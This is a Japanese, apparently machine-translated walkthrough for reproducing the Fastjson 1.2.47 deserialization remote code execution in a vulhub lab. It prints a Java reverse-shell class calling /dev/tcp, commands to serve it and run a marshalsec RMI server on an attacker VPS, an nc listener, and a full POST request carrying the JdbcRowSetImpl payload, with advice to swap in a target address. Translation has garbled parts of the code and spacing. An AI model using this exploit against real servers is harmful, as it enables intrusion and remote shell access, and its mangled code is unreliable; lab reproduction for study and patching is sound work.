Fastjson 1.2.47にはこのバージョンのcom.sun.jndi.rmi.object.trustURLCodebase
制限がないため、この脆弱性の原因となりました。具体的な分析については、記事を参照してください
https://www.freebuf.com/vuls/208339.html
前提条件(いくつかのピットを踏まないでください)
この脆弱性を再現する前に、Fastjson 1.2.24のデシリアライズを再現することをお勧めします。これは、2つの脆弱性の再現方法が非常に似ているためです。
1. java 1.8バージョンでなければなりません。そうでない場合、一部のコマンドはコンパイルおよび実行できません。java-version viewバージョン
2.すべてのツールとコンパイル済みパッケージは同じディレクトリにある必要があります
marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.java
Exploit.class
環境構築
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
IPへの完全なアクセスを構築:ポート8090
繰り返し参照
https://www.cnblogs.com/websecyw/p/11905014.html
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
1.経験を得る
git clone https://github.com/CaijiOrz/fastjson-1.2.47-RCE
実際、このexpはシェルをリバウンドするコードです
public class Exploit { public Exploit(){ try { Runtime.getRuntime()。exec(" / bin / bash -c $ @ | bash 0 echo bash -i>&/ dev / tcp / 127.0.0.1 / 8888 0>&1 " ); } catch (例外e){ e.printStackTrace(); } } public static void main(String [] argv){ Exploit e = new Exploit(); } }
2. vpsIPとポートに変更されたvim Exploit.java
3.javac Exploit.java をクラスファイルにコンパイル
4. python -m SimpleHTTPServer 4444 Open http service
5. java -cp marshalsec-0.0.3-SNAPSHOT-all.j marshalsec.jndi.RMIRefServer "http:// vpsIP:4444 /#Exploit" 9999
6. nc -lvnp 7777を監視する
7. POCを送信します。リバウンドしてシェルになります
データパケット全体を書き込み、赤い文字のアドレスとポートを使用時に直接変更します。
POST / HTTP / 1.1 Host:目标ip User -Agent:Mozilla / 5.0(Windows NT 6.2 ; WOW64; rv:18.0)Gecko / 20100101 Firefox / 18.0 Accept:text / html、application / xhtml + xml、application / xml; q = 0.9、* / * ; q = 0.8 Accept-Language:zh-cn、zh; q = 0.8、en-us; q = 0.5、en; q = 0.3 Accept-Encoding:gzip、deflate Connection:close Content-Type :application / json Content-Length:264 { "a":{ "@type": "java.lang.Class"、 "val": "com.sun.rowset.JdbcRowSetImpl" }、 "b":{ "@type": "com.sun.rowset.JdbcRowSetImpl"、 "dataSourceName": "rmi:// vpsIP:9999 / Exploit"、 "autoCommit":true } }
8.成功したリバウンドシェル